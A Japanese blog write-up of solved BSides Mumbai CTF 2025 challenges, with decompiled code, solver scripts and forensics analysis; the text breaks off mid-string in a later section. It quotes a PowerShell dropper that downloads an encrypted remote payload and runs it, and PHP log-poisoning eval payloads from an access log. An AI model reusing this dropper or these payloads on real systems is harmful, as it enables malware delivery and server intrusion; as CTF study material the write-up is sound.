以下の内容はhttps://yocchin.hatenablog.com/entry/2025/06/30/093913より取得しました。


BSides Mumbai CTF 2025 Writeup

この大会は2025/6/28 19:00(JST)~2025/6/29 19:00(JST)に開催されました。
今回もチームで参戦。結果は1791点で260チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (Misc)

問題にフラグが書いてあった。

BMCTF{W3lc0me_t0_CTF_2025}

BADC0DE (Misc)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  size_t sVar3;
  FILE *__stream;
  undefined8 uVar4;
  long in_FS_OFFSET;
  char local_b8 [16];
  char local_a8 [16];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  generate_secret(local_b8,0x10);
  printf("Enter the secret: ");
  pcVar2 = fgets(local_a8,0x10,stdin);
  if (pcVar2 == (char *)0x0) {
    puts("Failed to read input.");
  }
  else {
    sVar3 = strcspn(local_a8,"\n");
    local_a8[sVar3] = '\0';
    iVar1 = strcmp(local_a8,local_b8);
    if (iVar1 == 0) {
      __stream = fopen("flag.txt","r");
      if (__stream == (FILE *)0x0) {
        perror("Could not open flag file");
        uVar4 = 1;
        goto LAB_001014cb;
      }
      fgets(local_98,0x80,__stream);
      fclose(__stream);
      printf("Correct secret! Here\'s your flag: %s\n",local_98);
    }
    else {
      puts("Wrong secret.");
    }
  }
  uVar4 = 0;
LAB_001014cb:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar4;
}

void generate_secret(long param_1,long param_2)

{
  int iVar1;
  time_t tVar2;
  undefined8 local_20;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)(tVar2 / 0x3c) ^ 0xbadc0de);
  for (local_20 = 0; local_20 < param_2 - 1U; local_20 = local_20 + 1) {
    iVar1 = rand();
    *(char *)(local_20 + param_1) = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'A';
  }
  *(undefined1 *)(param_1 + param_2 + -1) = 0;
  return;
}

generate_secret関数で生成された値を当てることができれば、フラグを取得できる。

#!/usr/bin/env python3
from pwn import *
import ctypes

p = remote('badcode.bsidesmumbai.in', 10049)

libc = ctypes.CDLL("libc.so.6")

tVar2 = libc.time(0)
libc.srand((tVar2 // 0x3c) ^ 0xbadc0de)

secret = ''
for i in range(15):
    r = libc.rand()
    secret += chr(r - (r // 26) * 26 + ord('A'))

p.sendline(secret.encode())
data = p.recvuntil(b': ').decode()
print(data + secret)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to badcode.bsidesmumbai.in on port 10049: Done
Enter the secret: CJYWQRHCMXZOBCJ
Correct secret! Here's your flag: BMCTF{nekonekonek_owo}
[*] Closed connection to badcode.bsidesmumbai.in port 10049
BMCTF{nekonekonek_owo}

Takiya (Misc)

添付の16進数の長大なデータはhexデコードすると、120000バイトある。最初や最後の方はffばかりのデータであることから色を示していると推測する。200×200のピクセルデータであれば、サイズ的に合うので、このデータから画像生成する。

#!/usr/bin/env python3
from PIL import Image

with open('takiya', 'r') as f:
    data = f.read()

data = bytes.fromhex(data)

WIDTH = 200
HIGHT = 200

output_img = Image.new('RGB', (WIDTH, HIGHT), (255, 255, 255))

for y in range(HIGHT):
    for x in range(WIDTH):
        index = (y * WIDTH + x) * 3
        r = data[index]
        g = data[index + 1]
        b = data[index + 2]
        output_img.putpixel((x, y), (r, g, b))

output_img.save('flag.png')

生成した画像にフラグが書いてあった。

BMCTF{p1ll0ws_a1n7_p1ll0w1ng}

XORyy (Reverse Engineering)

$ strings XORyy | grep BMCTF
Congratulations! You found the flag: BMCTF{X0R_Is_Fun}
BMCTF{X0R_Is_Fun}

idkwhattonamethis (Reverse Engineering)

Ghidraでデコンパイルする。

void main(void)

{
  time_t tVar1;
  
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  bamboozler();
  return;
}

undefined8 bamboozler(void)

{
  char cVar1;
  undefined8 uVar2;
  size_t sVar3;
  char local_28 [32];
  
  wibbleWobble();
  zoinkifyLogic();
  cVar1 = flibberVMCheck();
  if (cVar1 == '\0') {
    printf("Provide access glyph: ");
    __isoc99_scanf(&DAT_001020ba,local_28);
    sVar3 = strlen(local_28);
    if (sVar3 == 5) {
      scrumbleFlaginator(local_28);
      uVar2 = 0;
    }
    else {
      puts("No glyph, no glory.");
      uVar2 = 1;
    }
  }
  else {
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

void scrumbleFlaginator(char *param_1)

{
  char cVar1;
  uint uVar2;
  long lVar3;
  size_t sVar4;
  ulong uVar5;
  char local_9b;
  undefined1 local_9a;
  undefined1 local_99;
  char local_98 [48];
  byte local_68 [64];
  uint local_28;
  byte local_21;
  int local_20;
  uint local_1c;
  
  local_68[0] = 0;
  local_68[1] = 0;
  local_68[2] = 0;
  local_68[3] = 0;
  local_68[4] = 0;
  local_68[5] = 0;
  local_68[6] = 0;
  local_68[7] = 0;
  local_68[8] = 0;
  local_68[9] = 0;
  local_68[10] = 0;
  local_68[0xb] = 0;
  local_68[0xc] = 0;
  local_68[0xd] = 0;
  local_68[0xe] = 0;
  local_68[0xf] = 0;
  local_68[0x10] = 0;
  local_68[0x11] = 0;
  local_68[0x12] = 0;
  local_68[0x13] = 0;
  local_68[0x14] = 0;
  local_68[0x15] = 0;
  local_68[0x16] = 0;
  local_68[0x17] = 0;
  local_68[0x18] = 0;
  local_68[0x19] = 0;
  local_68[0x1a] = 0;
  local_68[0x1b] = 0;
  local_68[0x1c] = 0;
  local_68[0x1d] = 0;
  local_68[0x1e] = 0;
  local_68[0x1f] = 0;
  local_68[0x20] = 0;
  local_68[0x21] = 0;
  local_68[0x22] = 0;
  local_68[0x23] = 0;
  local_68[0x24] = 0;
  local_68[0x25] = 0;
  local_68[0x26] = 0;
  local_68[0x27] = 0;
  local_68[0x28] = 0;
  local_68[0x29] = 0;
  local_68[0x2a] = 0;
  local_68[0x2b] = 0;
  local_68[0x2c] = 0;
  local_68[0x2d] = 0;
  local_68[0x2e] = 0;
  local_68[0x2f] = 0;
  local_68[0x30] = 0;
  local_68[0x31] = 0;
  local_68[0x32] = 0;
  local_68[0x33] = 0;
  local_68[0x34] = 0;
  local_68[0x35] = 0;
  local_68[0x36] = 0;
  local_68[0x37] = 0;
  local_68[0x38] = 0;
  local_68[0x39] = 0;
  local_68[0x3a] = 0;
  local_68[0x3b] = 0;
  local_68[0x3c] = 0;
  local_68[0x3d] = 0;
  local_68[0x3e] = 0;
  local_68[0x3f] = 0;
  builtin_strncpy(local_98,"QWERTYUIOPASDFGHJKLZXCVBNM9876543210",0x25);
  local_20 = 0;
  for (local_1c = 0; local_1c < 0x32; local_1c = local_1c + 2) {
    local_9b = (&DAT_00102070)[(int)local_1c];
    local_9a = (&DAT_00102070)[(int)(local_1c + 1)];
    local_99 = 0;
    lVar3 = strtol(&local_9b,(char **)0x0,0x10);
    local_21 = (byte)lVar3;
    uVar5 = (ulong)local_20;
    sVar4 = strlen(param_1);
    uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4]);
    uVar5 = (ulong)local_20;
    sVar4 = strlen(param_1);
    cVar1 = gizmoXOR((int)local_98[(ulong)(long)local_20 % 0x25],(int)param_1[uVar5 % sVar4]);
    local_28 = (int)cVar1 ^ uVar2;
    local_68[(int)local_1c / 2] = (byte)local_28 ^ local_21;
    local_20 = local_20 + 1;
  }
  printf("Final Output: %s\n",local_68);
  return;
}

int squibbleIndex(char param_1)

{
  return (param_1 * 3 + 7) % 0xd;
}

uint gizmoXOR(byte param_1,byte param_2)

{
  return (uint)(param_1 & param_2) * 2 ^ (uint)(param_1 ^ param_2);
}

scrumbleFlaginator関数の最後の繰り返し処理部分は以下のようになっている。

・local_20 = 0
・50未満の偶数のlocal_1cに対して以下を実行
 ・local_9b: DAT_00102070のlocal_1c番目の値
 ・local_9a: DAT_00102070のlocal_1c + 1番目の値
 ・lVar3: local_9bの文字を16進数として10進数の整数に変換
 ・local_21: lVar3をbyte文字にキャスト
 ・uVar5 = local_20
 ・sVar4: bamboozler関数の呼び出しにより、5固定
 ・uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4])
  ・(param_1[uVar5 % sVar4] * 3 + 7) % 13を返却
 ・cVar1 = gizmoXOR((int)local_98[local_20 % 0x25], (int)param_1[uVar5 % sVar4])
  ・((int)local_98[local_20 % 0x25] & (int)param_1[uVar5 % sVar4]) * 2 ^ ((int)local_98[local_20 % 0x25] ^ (int)param_1[uVar5 % sVar4])を返却
 ・local_28: cVar1とuVar2のXOR
 ・local_68[local_1c / 2] = (byte)local_28 ^ local_21
 ・local_20 = local_20 + 1

1バイトずつにしか関係しないため、フラグが"BMCTF"から始まることを前提に入力文字を求める。うまくいかなかったので、バイナリにブルートフォースで求めてみた。

BMCTF{L0]_D1dWY0g_H0_It?}

特に5バイトブロックに分けたときの2, 4文字がおかしい気がするので、調整する。

#!/usr/bin/env python3
from pwn import *

binary = './idkwhattonamethis'

flag_head = b'BMCTF'
glyph = ''
for i in range(5):
    for code in range(32, 127):
        try_glyph = glyph + chr(code) + '0' * (4 - i)

        p = process(binary)

        p.sendline(try_glyph.encode())
        data = p.recvuntil(b': ').decode()
        print(data + try_glyph)

        data = p.recvline().rstrip()
        print(data)
        p.close()

        output = data[14:]
        if output[:i+1] == flag_head[:i+1]:
            if i == 1 and code == ord('F'):
                continue
            if i == 3 and code == ord('3'):
                continue
            glyph += chr(code)
            break

最終的な実行結果は以下の通り。

                :
[+] Starting local process './idkwhattonamethis': pid 54068
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54068)
Provide access glyph: LMF4.
b'Final Output: BMCTz{H0WkD1d_A0u_D\x10_It?u'
[+] Starting local process './idkwhattonamethis': pid 54070
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54070)
Provide access glyph: LMF4/
b'Final Output: BMCT|{H0WmD1d_E0u_D\x16_It?s'
[+] Starting local process './idkwhattonamethis': pid 54072
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54072)
Provide access glyph: LMF40
b'Final Output: BMCTF{H0W_D1d_Y0u_D0_It?}'
BMCTF{H0W_D1d_Y0u_D0_It?}

Diff_EQ (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char cVar1;
  char *pcVar2;
  undefined8 uVar3;
  undefined2 local_7a;
  char local_78 [104];
  size_t local_10;
  
  local_7a = 0x79;
  printf("Enter the flag: ");
  pcVar2 = fgets(local_78,100,stdin);
  if (pcVar2 == (char *)0x0) {
    puts("Input error.");
    uVar3 = 1;
  }
  else {
    local_10 = strlen(local_78);
    if (local_78[local_10 - 1] == '\n') {
      local_78[local_10 - 1] = '\0';
    }
    cVar1 = ZP(local_78);
    if (cVar1 == '\x01') {
      cVar1 = XQ(local_78);
      if (cVar1 == '\0') {
        puts("Wrong flag!");
      }
      else {
        puts("Correct flag!");
      }
      uVar3 = 0;
    }
    else {
      puts("Invalid format!");
      uVar3 = 1;
    }
  }
  return uVar3;
}

undefined4 ZP(char *param_1)

{
  int iVar1;
  size_t sVar2;
  
  sVar2 = strlen(param_1);
  if (((sVar2 == 0x12) && (iVar1 = strncmp(param_1,"BMCTF{",6), iVar1 == 0)) &&
     (param_1[0x11] == '}')) {
    return 1;
  }
  return 0;
}

あまりにも関数が多いので、angrに解かせる。

#!/usr/bin/env python3
import angr
import claripy

flag_len = 18

flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(flag_len)]
flag = claripy.Concat(*flag_chars)

flag_with_newline = claripy.Concat(flag, claripy.BVV(b"\n"))

project = angr.Project("./Diff_EQ", auto_load_libs=False)

state = project.factory.full_init_state(
    args=["./Diff_EQ"],
    stdin=flag_with_newline
)

for c in flag_chars:
    state.solver.add(c >= 0x20)
    state.solver.add(c <= 0x7e)

simgr = project.factory.simgr(state)

def is_successful(s):
    return b"Correct flag!" in s.posix.dumps(1)

def should_abort(s):
    out = s.posix.dumps(1)
    return b"Wrong flag!" in out or b"Invalid format!" in out

simgr.explore(find=is_successful, avoid=should_abort)

if simgr.found:
    found = simgr.found[0]
    flag_solution = found.solver.eval(flag, cast_to=bytes)
    print(f"[+] Found flag: {flag_solution.decode()}")
else:
    print("[-] No valid flag found.")

実行結果は以下の通り。

WARNING  | 2025-06-29 10:05:31,513 | angr.simos.simos | stdin is constrained to 19 bytes (has_end=True). If you are only providing the first 19 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).                                                                                                                                                           
WARNING  | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING  | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 1 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))                                                                                                                                                                                                            
WARNING  | 2025-06-29 10:05:32,807 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff71 with 6 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))                                                                                                                                                                                                           
WARNING  | 2025-06-29 10:05:32,966 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec0 with 8 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))                                                                                                                                                                                                           
[+] Found flag: BMCTF{M$K3S_S3N5E}
BMCTF{M$K3S_S3N5E}

Tick-Tock (Web)

アクセスすると、クッキーのsessionに以下が設定されていた。

eyJzZWNyZXQiOiJycHVjYW4ifQ.aGEFPQ.MNnhD0YDNW0pOnfRCikPCF8nl9E

ヘッダ部をデコードする。

$ echo eyJzZWNyZXQiOiJycHVjYW4ifQ | base64 -d                                                  
{"secret":"rpucan"}

クエリとして"rpucan"を入力して、Searchボタンを押すと、フラグが表示された。

BMCTF{v3ry_very_v3ry_v3ry_very_v3ry_long_flag!}

Operation Overflow (Web)

1~100,000の値を送信し、正しい値の場合、フラグが表示されるようだ。
デベロッパーツールで確認すると、以下のような通信が発生している。

リクエストURL: https://abfb9883.bsidesmumbai.in/graphql
Content-Type: application/json
ペイロード: {"query":"\n                query {\n                    guessNumber(number: 1) {\n                        correct\n                        message\n                        flag\n                    }\n                }\n            "}

プログラムでnumber総当たりしてみる。

#!/usr/bin/env python3
import requests
import json

url = 'https://abfb9883.bsidesmumbai.in/graphql'

#for num in range(1, 100001):
for num in range(31183, 100001):
    query = "\n                query {\n                    guessNumber(number: %d) {\n                        correct\n                        message\n                        flag\n                    }\n                }\n            " % num
    payload = {"query": query}
    payload = json.dumps(payload)
    headers = {"Content-Type": "application/json"}
    r = requests.post(url, data=payload, headers=headers)
    assert r.status_code == 200
    res = json.loads(r.text)
    if res['data']['guessNumber']['correct']:
        flag = res['data']['guessNumber']['flag']
        print(flag)
        break
BMCTF{4l14s_br34k_l1m1ts}

Author Ki PFP (Forensics)

IHDRチャンクのCRCがおかしい。画像の高さが間違っていると推測できるので、CRCが合うよう高さを変更する。

#!/usr/bin/env python3
import struct
import binascii

with open('Challenge.png', 'rb') as f:
    data = f.read()

head = data[:12]
tail = data[29:]

for h in range(1104, 1500):
    height = struct.pack('>I', h)
    ihdr = data[12:20] + height + data[24:29]
    crc = struct.pack('!I', binascii.crc32(ihdr))
    if crc == data[29:33]:
        out = head + ihdr + tail
        with open('Challenge_fix.png', 'wb') as f:
            f.write(out)
        break

下の方にフラグが現れた。

BMCTF{H3X_IM4G3_R3S1Z1NG!}

Disk Message (Forensics)

添付のファイルには以下のように記載されている。

powershell -EncodedCommand <base64文字列>

base64文字列をデコードする。

$ echo JABlAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRAHkATwBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAMQBjAEcAUgBoAGQARwBVAHUAWgBXADUAagAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAGQAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAG0AZQBzAHMAYQBnAGUALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIAeQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAG0AZQBzAHMAYQBnAGUALgBlAHgAZQA= | base64 -d   
$e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j')));$ed=[System.Convert]::FromBase64String($e);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;.\message.exe

PowerShellのコードを読みやすいよう整形する。

$e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j')));
$ed=[System.Convert]::FromBase64String($e);
$maes=new-object "System.Security.Cryptography.AesManaged";
$maes.IV=$ed[0..15];
$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$maes.KeySize=256;
$maes.BlockSize=128;
$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));
$dc=$maes.CreateDecryptor();
$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);
Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;
.\message.exe

最初の行のbase64文字列をデコードする。

$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j | base64 -d
https://gitlab.com/-/snippets/4867428/raw/main/update.enc

このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。

$ wget https://gitlab.com/-/snippets/4867428/raw/main/update.enc       
--2025-06-28 21:30:26--  https://gitlab.com/-/snippets/4867428/raw/main/update.enc
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9
Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 192332 (188K) [text/plain]
Saving to: ‘update.enc’

update.enc                                           100%[=====================================================================================================================>] 187.82K  --.-KB/s    in 0.04s   

2025-06-28 21:30:26 (4.33 MB/s) - ‘update.enc’ saved [192332/192332]

update.encをbase64デコードすると、PEファイルになるので、message.exeとして保存し、実行する。

#!/usr/bin/env python3
from base64 import *

with open('update.enc', 'r') as f:
    pe = b64decode(f.read())

with open('message.exe', 'wb') as f:
    f.write(pe)
>message
BMCTF{n0t_3very0n3s_cup_of_t34}
BMCTF{n0t_3very0n3s_cup_of_t34}

Logarithms (Forensics)

添付のApacheaccess.logに気になるアクセスがある。

$ cat access.log | grep rot13             
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/xrl', onfr64_qrpbqr('diNbkitqV5riXS69fTlyAj=='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s5', onfr64_qrpbqr('dBYtUX9UAlV='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s3', onfr64_qrpbqr('b5evSgbsaWx='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("$xrl = svyr_trg_pbagragf('/gzc/xrl');$qngn = '';sbe ($v = 0; $v < 6; $v++) {  $qngn .= svyr_trg_pbagragf('/gzc/s'.$v);}$qrp = bcraffy_qrpelcg($qngn, 'nrf-128-rpo', $xrl, BCRAFFY_ENJ_QNGN);rpub 'SYNT: '.$qrp;")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s0', onfr64_qrpbqr('dhhfp88dfgL='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s2', onfr64_qrpbqr('bi3wo2dGq8H='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s4', onfr64_qrpbqr('+Sfbx/gllSD='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s1', onfr64_qrpbqr('Ys4tW4mWgOf='));")); ?>"

それぞれrot13になっている部分を復号する。

file_put_contents('/tmp/key', base64_decode('qvAoxvgdI5evKF69sGylNw=='));
file_put_contents('/tmp/f5', base64_decode('qOLgHK9HNyI='));
file_put_contents('/tmp/f3', base64_decode('o5riFtofnJk='));
$key = file_get_contents('/tmp/key');$data = '';for ($i = 0; $i < 6; $i++) {  $data .= file_get_contents('/tmp/f'.$i);}$dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);echo 'FLAG: '.$dec;
file_put_contents('/tmp/f0', base64_decode('quusc88qstY='));
file_put_contents('/tmp/f2', base64_decode('ov3jb2qTd8U='));
file_put_contents('/tmp/f4', base64_decode('+Fsok/tyyFQ='));
file_put_contents('/tmp/f1', base64_decode('Lf4gJ4zJtBs='));

4行目の処理を行うようPHPスクリプトを作成し、実行する。

$ cat solve.php              
<?php
$key = base64_decode('qvAoxvgdI5evKF69sGylNw==');
$data = '';
$data .= base64_decode('quusc88qstY=');
$data .= base64_decode('Lf4gJ4zJtBs=');
$data .= base64_decode('ov3jb2qTd8U=');
$data .= base64_decode('o5riFtofnJk=');
$data .= base64_decode('+Fsok/tyyFQ=');
$data .= base64_decode('qOLgHK9HNyI=');
$dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);
echo 'FLAG: '.$dec;
?>
$ php solve.php
FLAG: BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}
BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}

Disk Message 2 (Forensics)

Disk Messageと同様の問題になっている。base64文字列をデコードする。

$ echo JABtAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRADUATgBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAawBhAFgATgByAEwAbQBWAHUAWQB3AD0APQAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABtACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAG